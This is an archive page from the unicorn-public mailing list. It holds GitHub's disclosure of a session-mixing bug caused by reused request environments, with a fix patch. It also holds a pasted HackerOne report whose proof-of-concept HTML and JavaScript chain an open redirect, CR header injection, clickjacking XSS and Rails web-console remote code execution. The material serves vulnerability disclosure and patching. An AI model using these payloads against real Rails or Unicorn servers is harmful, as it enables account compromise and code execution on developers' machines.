To: Dirkjan Bussink; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
Dirkjan Bussink <dbussink@github.com> wrote:
> Hi Eric,
>
> > On 12 Mar 2021, at 10:41, Eric Wong <normalperson@yhbt.net> wrote:
> >
> > I'm not in favor of new options since they add support costs
> > and increase the learning/maintenance curve.
> >
> > What I've been thinking about is bumping the major version to 6.0
> >
> > Although our internals are technically not supported stable API,
> > there may be odd stuff out there similar to OobGC that uses
> > instance_variable_get or similar things to reach into internals.
> > Added with the fact our internals haven't changed in many years;
> > I'm inclined to believe there are other OobGC-like things out
> > there that can break.
> >
> > Also, with 6.0; users who completely avoid Threads can keep
> > using 5.x, while others can use 6.x
>
> That sounds like a good plan then. Once there’s a new version we can
> bump that on our side to remove the manual patch then.
OK. I think it's safe to wait a few days for more comments
before releasing in case there's more last-minute revelations
(see below :x)
> > Btw, did you consider replacing the @request HttpRequest object
> > entirely instead of the env and buf elements?
> > I suppose that's more allocations, still; but could've
> > been a smaller change.
>
> Ah, that’s a very good point. I think that would also have been a valid
> approach but it does indeed add more allocations. If that approach would
> be preferred, I think it can also be changed to that?
>
> I don’t really have a strong preference on which approach to take here,
> do you?
I was going to say I didn't have a preference and the
current approach was fine...
However, I just now realized now that clobbering+replacing all
of @request is required.
That's because env['rack.input'] is (Stream|Tee)Input,
and that is lazily consumed and those objects keep state in
@request (as the historically-named @parser)
If we're to make env safe to be shipped off to another thread,
then @request still needs to stick around to maintain state
of env['rack.input'] until it's all consumed.
It probably doesn't affect most apps out there that just decode
forms via HTTP POST; but the streamed rack.input is something
that's critical for projects that feed unicorn with PUTs via
"curl -T"
> > Oops, was that the integration tests in t/* ?
>
> Nope, looks like some platform behavior changes (tried on MacOS first).
> I was able to get the tests running and working on Debian Buster this
> morning before I sent a new version of the patch and they are all passing
> there for me locally.
Ah, no idea about MacOS or any proprietary OS; I've never
considered them supported. But yeah, it should work on any
GNU/Linux and Free-as-in-speech *BSDs
^ permalink raw reply [relevance 0%]
* Re: Potential Unicorn vulnerability
2021-03-12 9:41 1% ` Potential Unicorn vulnerability Eric Wong
@ 2021-03-12 11:14 4% ` Dirkjan Bussink
2021-03-12 12:00 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Dirkjan Bussink @ 2021-03-12 11:14 UTC (permalink / raw)
To: Eric Wong; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
Hi Eric,
> On 12 Mar 2021, at 10:41, Eric Wong <normalperson@yhbt.net> wrote:
>
> I'm not in favor of new options since they add support costs
> and increase the learning/maintenance curve.
>
> What I've been thinking about is bumping the major version to 6.0
>
> Although our internals are technically not supported stable API,
> there may be odd stuff out there similar to OobGC that uses
> instance_variable_get or similar things to reach into internals.
> Added with the fact our internals haven't changed in many years;
> I'm inclined to believe there are other OobGC-like things out
> there that can break.
>
> Also, with 6.0; users who completely avoid Threads can keep
> using 5.x, while others can use 6.x
That sounds like a good plan then. Once there’s a new version we can
bump that on our side to remove the manual patch then.
> Btw, did you consider replacing the @request HttpRequest object
> entirely instead of the env and buf elements?
> I suppose that's more allocations, still; but could've
> been a smaller change.
Ah, that’s a very good point. I think that would also have been a valid
approach but it does indeed add more allocations. If that approach would
be preferred, I think it can also be changed to that?
I don’t really have a strong preference on which approach to take here,
do you?
> Oops, was that the integration tests in t/* ?
Nope, looks like some platform behavior changes (tried on MacOS first).
I was able to get the tests running and working on Debian Buster this
morning before I sent a new version of the patch and they are all passing
there for me locally.
Cheers,
Dirkjan
^ permalink raw reply [relevance 4%]
* Re: Potential Unicorn vulnerability
[not found] ` <7F6FD017-7802-4871-88A3-1E03D26D967C@github.com>
@ 2021-03-12 9:41 1% ` Eric Wong
2021-03-12 11:14 4% ` Dirkjan Bussink
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-03-12 9:41 UTC (permalink / raw)
To: Dirkjan Bussink; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 6397 bytes --]
Dirkjan Bussink <dbussink@github.com> wrote:
> Hello Eric,
>
> > On 11 Mar 2021, at 04:02, Eric Wong <normalperson@yhbt.net> wrote:
> >
> > Thanks for reaching out. Fwiw, I prefer if everything were made
> > public right away, but I'll leave it up to you if you're not
> > comfortable with it.
> >
> > I don't know much about security, anwyays; and don't like
> > classifying bugs (or classifying anything)...
>
> We reached out privately first out of care and to follow best practices
> around coordinated disclosure, in case you considered this a security
> vulnerability. We have no objections to moving this to the public mailing
> list. We are viewing this patch as a proactive hardening against race
> conditions more so than a vulnerability.
OK, I'm adding unicorn-public@yhbt.net to the Cc: of this mail.
Personally, I prefer everything be reported publicly ASAP.
There's a constant threat of power/network failures from
disasters and such that could cause messages to be delayed
too long or indefinitely.
> We are also reaching out to a private Rails Security coordination channel
> that we’re a part of to raise awareness of this behavior so other Unicorn
> users in this group can look for similar issues in their code.
OK.
> To move this discussion to the public list, would you prefer that you move
> this thread publicly, or that we resend the message or forward it to the
> public mailing list?
Attached are the initial two (previously private) emails in this
thread, so no need to resend. They have the correct
message/rfc822 MIME type set so they should be readable from
most MUAs and mail archives.
> > Ouch, so the hijack check we had in HttpParser_clear didn't fire...
>
> Yes, to our understanding it only would fire if explicitly set and that
> doesn’t happen here.
>
> >> While we understand and appreciate that Unicorn is not a multi-threaded web
> >> server, it feels like using the same `Hash` object between requests
> >> introduces the chance that a dependency like an external gem may use threads
> >> and thus potentially leak information between requests.
> >
> > Yes, there's likely problems in trying to use threads with a
> > codebase that was only intended to be single-threaded. And
> > using Thread.current[...] here wouldn't have made a. difference.
>
> For us it was also the difference between “requests are handled single threaded”
> vs “you can’t use threads for anything else either.” We were totally aware of the
> first, but the latter seems more accidental and has a much broader impact.
Agreed.
> > I worry some endpoints out there will suffer performance
> > degradation. Expensive endpoints probably won't notice,
> > but maybe the fastest ones will...
>
> That is a good point, but I think in practice most users do enough in most
> requests that the trade off is totally worth it. At least for us it definitely
> is. Maybe it would be an option to make the sharing somehow opt-in instead of
> default behavior? So that by default the safe behavior is used, but for those
> that want to, they can opt into the sharing if they know their app is safe
> enough to work with that.
I'm not in favor of new options since they add support costs
and increase the learning/maintenance curve.
What I've been thinking about is bumping the major version to 6.0
Although our internals are technically not supported stable API,
there may be odd stuff out there similar to OobGC that uses
instance_variable_get or similar things to reach into internals.
Added with the fact our internals haven't changed in many years;
I'm inclined to believe there are other OobGC-like things out
there that can break.
Also, with 6.0; users who completely avoid Threads can keep
using 5.x, while others can use 6.x
> >> For the sake of transparency to our users, we plan on publishing a public
> >> post next week on how this was part of the larger series of bugs that had a
> >> security impact at GitHub. We've also attached a suggested patch that removes
> >> the environment sharing, which is what we're running right now to reduce the
> >> risk of this ever happening again.
> >
> > Did you measure performance degradations in any endpoints you have?
>
> We did measure and there were zero noticeable performance degradations. That’s
> also because all our requests do a bunch of work and are not direct Rack apps,
> and use stuff like Rails or Sinatra. Those all usually wrap the `env` hash
> anyway with their own per request object and there’s a lot of other allocations
> happening anyway.
>
> In microbenchmarks we could see a difference, but even there, at least for us,
> we’d gladly pay the performance price for the safety if we’d have any endpoints
> where it would be measurable.
OK. Fwiw, there's still some stones left unturned that could
recover the lost speed if somebody _really_ cares for it(*)
(*) String#clear on response header buffer, swapping Ragel
for a faster HTTP parser, ...
> All in all, I think here that a safe default would be helpful for users, as
> mentioned earlier, and that maybe for those cases where the latest performance
> bit matters, the existing behavior could be opted into. Whether this option is
> worth it from a maintenance standpoint is something you’re better able to answer
> than we are though.
It's probably OK and I'm inclined to accept your patch for 6.0.
At this point, I'm more worried about potential breakage of some
3rd-party OobGC-like thing that reaches deep into our internals.
Btw, did you consider replacing the @request HttpRequest object
entirely instead of the env and buf elements?
I suppose that's more allocations, still; but could've
been a smaller change.
> > I'll see about finding a less-noisy/overloaded system to run
> > benchmarks against...
> >
> > I noticed some of the OobGC tests in t/ were failing (patch below),
> > but few users use the that version of OobGC.
>
> I wasn’t easily able to run the entire suite, but only parts of it which is why
> I didn’t have a complete fix there. I can add this to the patch then.
Oops, was that the integration tests in t/* ?
They can run separately via "make test-integration"
(I never trusted some Ruby behaviors to remain stable,
so I started writing tests in Bourne shell).
<snip> I have nothing to add to the rest of the mail
unicorn-public readers: see attachments
[-- Attachment #2: 0001-potential-unicorn-vulnerability.eml --]
[-- Type: message/rfc822, Size: 12105 bytes --]
[-- Attachment #2.1.1: Type: text/plain, Size: 2813 bytes --]
Hello Eric,
We're reaching out privately first on what we think could be classified as a
security issue in Unicorn. Since there may be other similarly impacted users,
this is out of an abundance of caution before sending it to the public
Unicorn mailing list.
The issue at hand is that the environment sharing and reuse between requests
in Unicorn, combined with other non thread safe code, resulted in a security
vulnerability where a very small number of user sessions tracked through
cookies got misrouted. For this reason, we logged everyone out of GitHub, see
also https://github.blog/2021-03-08-github-security-update-a-bug-related-to-handling-of-authenticated-sessions/.
The unsafe background thread code we had ended up triggering an exception at
rare times and the exception tracking logic was using a deferred block
executed through a Ruby Proc to gather information, including things from the
request at the time the logic started.
That thread captured something from the cookie jar among other things, and
the following code in Rack memoized that into the (shared) environment.
From https://github.com/rack/rack/blob/2.1.4/lib/rack/request.rb#L219-L229
def cookies
hash = fetch_header(RACK_REQUEST_COOKIE_HASH) do |k|
set_header(k, {})
end
string = get_header HTTP_COOKIE
return hash if string == get_header(RACK_REQUEST_COOKIE_STRING)
hash.replace Utils.parse_cookies_header string
set_header(RACK_REQUEST_COOKIE_STRING, string)
hash
end
Because of the environment sharing, the memoization ended up overriding what
would be memoized (with the RACK_REQUEST_COOKIE_STRING key) for the new
request and because a specific session cookie was bumped then with a new
timeout on each request, the wrong session cookie was serialized.
While we understand and appreciate that Unicorn is not a multi-threaded web
server, it feels like using the same `Hash` object between requests
introduces the chance that a dependency like an external gem may use threads
and thus potentially leak information between requests.
For the sake of transparency to our users, we plan on publishing a public
post next week on how this was part of the larger series of bugs that had a
security impact at GitHub. We've also attached a suggested patch that removes
the environment sharing, which is what we're running right now to reduce the
risk of this ever happening again.
We hope you're open to collaborating on a fix prior to any public detailed
disclosure of how this request environment sharing could lead to security
issues, if you feel that is desired.
I’ve added John & Kevin here on the CC since they’ve also worked on this and
that way we have some better timezone spread on our side if needed.
Cheers,
Dirkjan Bussink
[-- Attachment #2.1.2: 0001-Drop-reuse-of-Ruby-level-objects.patch --]
[-- Type: application/octet-stream, Size: 4067 bytes --]
From 44aa6b056e1b24d42ab3efba738b38f4cd54a068 Mon Sep 17 00:00:00 2001
From: Dirkjan Bussink <d.bussink@gmail.com>
Date: Mon, 8 Mar 2021 09:51:09 +0100
Subject: [PATCH] Drop reuse of Ruby level objects
Remove the reuse of environment and the buffer as Ruby level objects.
Reusing these is very risky in the context of running any other threads
within the unicorn process, also for threads that run background tasks.
This lead to a significant security incident where the problems would
not have happened if there was no reuse of the `env` object. From a
safety perspective, this also removes reuse of the buffer object as it's
also a Ruby object and could be grabbed and retained outside of the http
parsing logic.
The downside here is that we allocate two extra objects on each request,
but that is worth the trade off here and the security risk we otherwise
would carry to leaking wrong and incorrect data.
---
ext/unicorn_http/extconf.rb | 1 -
ext/unicorn_http/unicorn_http.rl | 30 +++---------------------------
test/unit/test_http_parser.rb | 3 +++
3 files changed, 6 insertions(+), 28 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 95514bc..7e4775c 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -10,7 +10,6 @@
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 1.9.3+ required'
-have_func("rb_hash_clear", "ruby.h") # Ruby 2.0+
have_func("gmtime_r", "time.h")
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 21e09d6..9904d85 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -65,18 +65,6 @@ struct http_parser {
static ID id_set_backtrace, id_is_chunked_p;
static VALUE cHttpParser;
-#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
-# define my_hash_clear(h) (void)rb_hash_clear(h)
-#else /* !HAVE_RB_HASH_CLEAR - Ruby <= 1.9.3 */
-
-static ID id_clear;
-
-static void my_hash_clear(VALUE h)
-{
- rb_funcall(h, id_clear, 0);
-}
-#endif /* HAVE_RB_HASH_CLEAR */
-
static void finalize_header(struct http_parser *hp);
static void parser_raise(VALUE klass, const char *msg)
@@ -445,6 +433,8 @@ static void http_parser_init(struct http_parser *hp)
hp->cont = Qfalse; /* zero on MRI, should be optimized away by above */
%% write init;
hp->cs = cs;
+ hp->buf = rb_str_new(NULL, 0);
+ hp->env = rb_hash_new();
}
/** exec **/
@@ -628,8 +618,6 @@ static VALUE HttpParser_init(VALUE self)
struct http_parser *hp = data_get(self);
http_parser_init(hp);
- hp->buf = rb_str_new(NULL, 0);
- hp->env = rb_hash_new();
return self;
}
@@ -643,16 +631,7 @@ static VALUE HttpParser_init(VALUE self)
*/
static VALUE HttpParser_clear(VALUE self)
{
- struct http_parser *hp = data_get(self);
-
- /* we can't safely reuse .buf and .env if hijacked */
- if (HP_FL_TEST(hp, HIJACK))
- return HttpParser_init(self);
-
- http_parser_init(hp);
- my_hash_clear(hp->env);
-
- return self;
+ return HttpParser_init(self);
}
static void advance_str(VALUE str, off_t nr)
@@ -1025,9 +1004,6 @@ void Init_unicorn_http(void)
id_set_backtrace = rb_intern("set_backtrace");
init_unicorn_httpdate();
-#ifndef HAVE_RB_HASH_CLEAR
- id_clear = rb_intern("clear");
-#endif
id_is_chunked_p = rb_intern("is_chunked?");
}
#undef SET_GLOBAL
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 697af44..d3f9ae7 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -33,6 +33,9 @@ def test_parse_simple
parser.clear
req.clear
+ req = parser.env
+ http = parser.buf
+
http << "G"
assert_nil parser.parse
assert_equal "G", http
--
2.30.1
[-- Attachment #3: 0002-re-potential-unicorn-vulnerability.eml --]
[-- Type: message/rfc822, Size: 5635 bytes --]
From: Eric Wong <normalperson@yhbt.net>
To: Dirkjan Bussink <dbussink@github.com>
Cc: John Crepezzi <seejohnrun@github.com>, Kevin Sawicki <kevinsawicki@github.com>
Subject: Re: Potential Unicorn vulnerability
Date: Thu, 11 Mar 2021 03:02:50 +0000
Message-ID: <20210311030250.GA1266@dcvr>
Dirkjan Bussink <dbussink@github.com> wrote:
> Hello Eric,
>
> We're reaching out privately first on what we think could be classified as a
> security issue in Unicorn. Since there may be other similarly impacted users,
> this is out of an abundance of caution before sending it to the public
> Unicorn mailing list.
Thanks for reaching out. Fwiw, I prefer if everything were made
public right away, but I'll leave it up to you if you're not
comfortable with it.
I don't know much about security, anwyays; and don't like
classifying bugs (or classifying anything)...
<snip>
> That thread captured something from the cookie jar among other things, and
> the following code in Rack memoized that into the (shared) environment.
Ouch, so the hijack check we had in HttpParser_clear didn't fire...
<snip>
> While we understand and appreciate that Unicorn is not a multi-threaded web
> server, it feels like using the same `Hash` object between requests
> introduces the chance that a dependency like an external gem may use threads
> and thus potentially leak information between requests.
Yes, there's likely problems in trying to use threads with a
codebase that was only intended to be single-threaded. And
using Thread.current[...] here wouldn't have made a. difference.
I worry some endpoints out there will suffer performance
degradation. Expensive endpoints probably won't notice,
but maybe the fastest ones will...
`buf' is particularly worrying to me since it's a 16384-byte
allocation for a socket read on headers that could amount
to lots of GC pressure and hurt locality all around.
env['rack.input'] may also hold onto `buf', too, since
input is lazily-consumed (though it may be possible to
workaround that...).
Losing `env' is probably less worrying since keys are all
fstrings in modern Rubies. Though losing the backing store (and
not having rb_hash_new_with_size in the C API) would mean more
rehashing with many headers.
The simple Rack apps I worked on back in-the-day which
benefitted from these object-reuse optimizations are unlikely to
be upgraded to newer versions of unicorn. Of course, there
may be other similar Rack apps out there that depend on these...
> For the sake of transparency to our users, we plan on publishing a public
> post next week on how this was part of the larger series of bugs that had a
> security impact at GitHub. We've also attached a suggested patch that removes
> the environment sharing, which is what we're running right now to reduce the
> risk of this ever happening again.
Did you measure performance degradations in any endpoints you have?
I'll see about finding a less-noisy/overloaded system to run
benchmarks against...
I noticed some of the OobGC tests in t/ were failing (patch below),
but few users use the that version of OobGC.
Also, t/t0200-rack-hijack.sh would go away.
> We hope you're open to collaborating on a fix prior to any public detailed
> disclosure of how this request environment sharing could lead to security
> issues, if you feel that is desired.
Sure, as long as everything is done via plain-text email so
I won't need working graphics drivers or modern hardware :>
Along the same lines, would you be OK with this entire mail thread
(including all mail headers) being eventually published in the
public mailbox at http://ou63pmih66umazou.onion/unicorn-public/
and https://yhbt.net/unicorn-public/ ?
> I’ve added John & Kevin here on the CC since they’ve also worked on this and
> that way we have some better timezone spread on our side if needed.
OK, I'm around/awake at pretty random times.
Aforementioned OomGC change:
-------8<-------
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 3b2f488..91a8e51 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -60,7 +60,6 @@ def self.new(app, interval = 5, path = %r{\A/})
self.const_set :OOBGC_INTERVAL, interval
ObjectSpace.each_object(Unicorn::HttpServer) do |s|
s.extend(self)
- self.const_set :OOBGC_ENV, s.instance_variable_get(:@request).env
end
app # pretend to be Rack middleware since it was in the past
end
@@ -68,9 +67,10 @@ def self.new(app, interval = 5, path = %r{\A/})
#:stopdoc:
def process_client(client)
super(client) # Unicorn::HttpServer#process_client
- if OOBGC_PATH =~ OOBGC_ENV['PATH_INFO'] && ((@@nr -= 1) <= 0)
+ env = instance_variable_get(:@request).env
+ if OOBGC_PATH =~ env['PATH_INFO'] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
- OOBGC_ENV.clear
+ env.clear
disabled = GC.enable
GC.start
GC.disable if disabled
^ permalink raw reply related [relevance 1%]
* Re: [RFC] http_response: ignore invalid header response characters
@ 2021-01-13 23:20 4% ` Sam Sanoop
0 siblings, 0 replies; 200+ results
From: Sam Sanoop @ 2021-01-13 23:20 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Hi, The researcher didn’t test it with Ngnix, his configuration
according to the report was
server: unicorn (<= latest)
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
But reading http://blog.volema.com/nginx-insecurities.html, CRLF can
be allowed if a user is using $uri variables within their NGINX
config. So conditions within NGNIX would need to be met.
Regarding the hackerone report, here is a txt version of the report:
ooooooo_q-----------------
Hello,
I was looking at the change log
(https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2)
for CVE-2020-8185 and found another problem existed.
https://github.com/rails/rails/blob/v6.0.3.1/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb#L21
redirect_to request.params[:location]
end
private
def actionable_request?(request)
request.show_exceptions? && request.post? && request.path == endpoint
end
def redirect_to(location)
body = "<html><body>You are being <a
href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
[302, {
"Content-Type" => "text/html; charset=#{Response.default_charset}",
"Content-Length" => body.bytesize.to_s,
"Location" => location,
}, [body]]
end
There was an open redirect issue because the request parameter
location was not validated.
In 6.0.3.2, since the condition of actionable_request? has changed,
this problem is less likely to occur.
PoC
1. Prepare server
Prepare an attackable 6.0.3.1 version of Rails server
❯ rails -v
Rails 6.0.3.1
❯ RAILS_ENV=production rails s
...
* Environment: production
* Listening on tcp://0.0.0.0:3000
2. Attack server
Prepare the server for attack on another port.
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://www.hackerone.com/">
<button type="submit">click!</button>
</form>
python3 -m http.server 8000
3. Open browser
Open the http://localhost:8000/attack.html url in your browser and
click the button.
Redirect to https://www.hackerone.com/ url.
Impact
It will be fixed with 6.0.3.2 as with
CVE-2020-8185(https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0),
but I think it is necessary to announce it again because the range of
influence is different.
This open redirect changes from POST method to Get Method, so it may
be difficult to use for phishing.On the other hand, it may affect
bypass of referrer check or SSRF.
ooooooo_q------
I thought about it after submitting the report, but even in 6.0.3.2,
/rails/actions is available in developer mode.
If it was started in development mode, the request will be accepted by
CSRF, so the same as CVE-2020-8185 still exists.
I think it's better to take CSRF measures in /rails/actions.
Vulnerabilities, versions and modes
6.0.3.1 (production, development)
run pending migrations (CVE-2020-8185)
open redirect
6.0.3.2 (development)
run pending migrations (by CSRF)
open redirect (by CSRF)
6.0.3.2 (production)
no problem
tenderloveRuby on Rails staff -------
This seems like a good improvement, but I don't think we need to treat
it as a security issue. If you agree, would you mind filing an issue
on the Rails GitHub issues?
Thank you!
ooooooo_q------
@tenderlove
I'm sorry to reply late.
While researching unicorn, I found this report to lead to other vulnerabilities.
Open Redirect to HTTP header injection
Response header injection vulnerability exists in versions of puma below 4.3.2.
https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v
I have confirmed that unicorn is also enable of response header injection.
HTTP header injection is possible by including \r in the redirect URL
using these.
PoC
> escape("\rSet-cookie:a=a")
"%0DSet-cookie%3Aa%3Da"
This is the html used on the attack server.
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0DSet-cookie%3Aa%3Da">
<button type="submit">set cookie</button>
</form>
When click this button, the response header will be as follows.
Location:
Set-cookie: a=a
If you open the developer tools in your browser, you'll see that the
cookie value is set.
When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Therefore, it seems that response body injection that leads to XSS
cannot be performed.
On the other hand, in passenger, it became an error when \r was in the
value of the header.
XSS trick
While trying out \r on the response header, I noticed a strange thing.
If \r is at the beginning, it means that the browser is not redirected
and javascript: can be used in the URL of the response link.
When specify \rjavascript:alert(location) as the redirect destination,
the HTML of the response will be as follows.
<html><body>You are being <a href="
javascript:alert(location)">redirected</a>.</body></html>
The \r character is ignored in html, so javascript:alert(location) is
executed when the user clicks the link.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
In puma and unicorn below 4.3.2, \r is used for HTTP header injection,
so no error occurs.
With puma 4.3.3 or later, if there is a line containing \r, it does
not become an error and it can be executed because that line is
excluded.
On the other hand, the error occurred in passenger.
As a further issue, the headers in this response are
middleware-specific and therefore do not include the security headers
Rails is outputting.
Since X-Frame-Options is not included, click jacking is possible.
No output even if CSP is set in the application.
By using click jacking in combination with these, it is easy to
generate XSS that requires user click.
PoC
Inserting the execution code from another site using the name of the iframe.
This PoC will also run in production mode if 6.0.0 < rails < 6.0.3.2.
It can be run with the latest puma and unicorn.
If it is development mode, it can be executed even after 6.0.3.2
child.html
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aeval%28name%29">
<button type="submit">location is escape("\rjavascript:eval(name)")</button>
</form>
<script type="text/javascript">
document.querySelector("button").click();
</script>
click_jacking.html
<html>
<style>
iframe{
position: absolute;
z-index: 1;
opacity: 0.3;
}
div{
position: absolute;
top: 20px;
left: 130px;
}
button {
width: 80px;
height: 26px;
cursor: pointer;
}
</style>
<body>
<iframe src=./child.html name="alert(location)" height=40></iframe>
<div>
<button>click!!</button>
</div>
</body>
</html>
XSS to RCE
When XSS exists in development mode, I confirmed that calling the
method of web-cosole leads to RCE.
RCE is possible by inducing users who are developing Rails
applications to click on the trap site.
PoC
var iframe = document.createElement("iframe");
iframe.src = "/not_found";
document.body.appendChild(iframe);
setTimeout(()=>fetch("/__web_console/repl_sessions/" +
iframe.contentDocument.querySelector("#console").dataset.sessionId, {
method: "PUT",
headers: {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
},
body: JSON.stringify({
input: "`touch from_web_console`"
})
}), 2000)
<iframe src=./child.html name='var iframe =
document.createElement("iframe");iframe.src =
"/not_found";document.body.appendChild(iframe);setTimeout(()=>
fetch("/__web_console/repl_sessions/"+iframe.contentDocument.querySelector("#console").dataset.sessionId,
{method: "PUT",headers: {"Content-Type":
"application/json","X-Requested-With": "XMLHttpRequest"},body:
JSON.stringify({input: "`touch from_web_console`"})}),2000)'/>
When this is run, a file from from_web_console will be generated.
Vulnerabilities and conditions
Run pending migrations (CVE-2020-8185)
server: any
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
Run pending migrations by CSRF
server: any
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
Open redirect (from POST method)
server: any
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
HTTP header injection
server: unicorn (<= latest) or puma (< 4.3.2)
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
XSS (need user click)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development
RCE (from XSS)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development
ooooooo_q------
When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Makes sense. This seems like a security vulnerability in Puma / Unicorn.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
I'm not sure exactly which servers are vulnerable (this is too
confusing for me 😔), but whatever handles generating the response
page shouldn't allow \r at the beginning of the href like that.
So this needs to check that location is a url (http or https).
I don't think we need to set the security policy for the redirect page
if we prevent the javascript: location from the href.
How does this patch look?
On Wed, Jan 6, 2021 at 5:53 PM Eric Wong <bofh@yhbt.net> wrote:
>
> Sam Sanoop <sams@snyk.io> wrote:
> > Hi Eric,
>
> cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> (private followup <CAEQPCYJJdriMQyDNXimCS_kBrc_=DxhxJ66YdJmCe7ZXr-Zbvg@mail.gmail.com>)
>
> Hi Sam, I'm moving this to the public list. Please keep
> unicorn-public@yhbt.net Cc-ed (no need to quote, archives are
> public and mirrored to several places).
>
> > I wanted to bring this up again. I spoke with the researcher
> > (@ooooooo_q) who disclosed this issue to us. He released the full
> > details including the HackerOne report pubclily which provided more
> > clarity about this issue. That can be read here:
> > https://hackerone.com/reports/904059#activity-8945588
>
> Note: I can't read anything on hackerone due to the JavaScript
> requirement. If somebody can copy the text here, that'd be
> great.
>
> > That report was initially disclosed to the Ruby on Rails maintainers.
> > In certain conditions, he was also able to leverage Puma and Unicorn
> > to exploit the issues mentioned on the report. The issues which
> > related to Unicorn were:
> >
> > * Open Redirect to HTTP header injection - (including \r in the redirect URL)
> > * A user interaction XSS - Which leverages
> > \rjavascript:alert(location) as the redirect destination
>
> Does this happen when unicorn is behind nginx?
>
> unicorn was always designed to run behind nginx and falls over badly
> without it (trivially DoS-ed via slowloris)
>
> > Reading that advisory, I see this more of an issue now. He has
> > leveraged Unicorn and Puma along with Rails to demonstrate some of the
> > proof of concepts. Under the section Vulnerabilities and conditions of
> > the report, he has specified different conditions and configurations
> > which allow for this vector.
> >
> > I agree with Aaron Patterson's (Rails Staff) decision on that report,
> > this should be fixed in Unicorn and Puma directly, and Puma has
> > already fixed this and issued an advisory:
> > https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v.
> >
> > I believe there is enough of a risk to fix this issue. What do you think?
>
> While we follow puma on some things (as in recent non-rack
> features), I'm not sure if this affects unicorn the same way it
> affects puma and other servers (that are supported without nginx).
>
> Fwiw, I've been against client-side JavaScript for a decade, now.
> Libre license or not; the complexity of JS gives us a never-ending
> stream of vulnerabilities, wasted RAM, CPU cycles, and bandwidth
> use from constant software updates needed to continue the game of
> whack-a-mole.
>
> rest of thread below (top-posting corrected):
>
> > > On Sun, Jan 3, 2021 at 10:20 PM Eric Wong <bofh@yhbt.net> wrote:
> > > >
> > > > Sam Sanoop <sams@snyk.io> wrote:
> > > > > Hey Eric,
> > > > >
> > > > > Happy New Year. I want to follow up on the [RFC] http_response: ignore
> > > > > invalid header response character RFC for the CRLF injection we spoke
> > > > > about previously. I wanted to know what would be the timeline for your
> > > > > patch to get merged and what additional steps there are before that
> > > > > can happen.
> > > >
> > > > Hi Sam, honestly I have no idea if it's even necessary...
> > > > I've had no feedback since 2020-11-26:
> > > > https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> > > >
> > > > Meanwhile 5.8.0 was released 2020-12-24 with a feature somebody
> > > > actually cared about.
> > > >
> > > > Again, unicorn falls over without nginx in front of it anyways,
> > > > so maybe nginx already guards against this and extra code is
> > > > unnecessary on my end.
> >
> > On Sun, Jan 3, 2021 at 11:03 PM Sam Sanoop <sams@snyk.io> wrote:
> > >
> > > Hey Eric,
> > >
> > > No problem, I understand. Since the injection here is happening within
> > > the response, I am not convinced if this is exploitable as well. I
> > > have let the reporter of this issue know what your stance is. I
> > > mentioned if he can provide a better Proof of Concept where this is
> > > exploitable in the context of a http request, and look into this a bit
> > > further, we can open up discussion again, or else, this is not worth
> > > fixing.
--
Sam Sanoop
Security Analyst
^ permalink raw reply [relevance 4%]
* [ANN] unicorn 5.7.0 - Rack HTTP server for fast clients and *nix
@ 2020-09-08 8:44 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-09-08 8:44 UTC (permalink / raw)
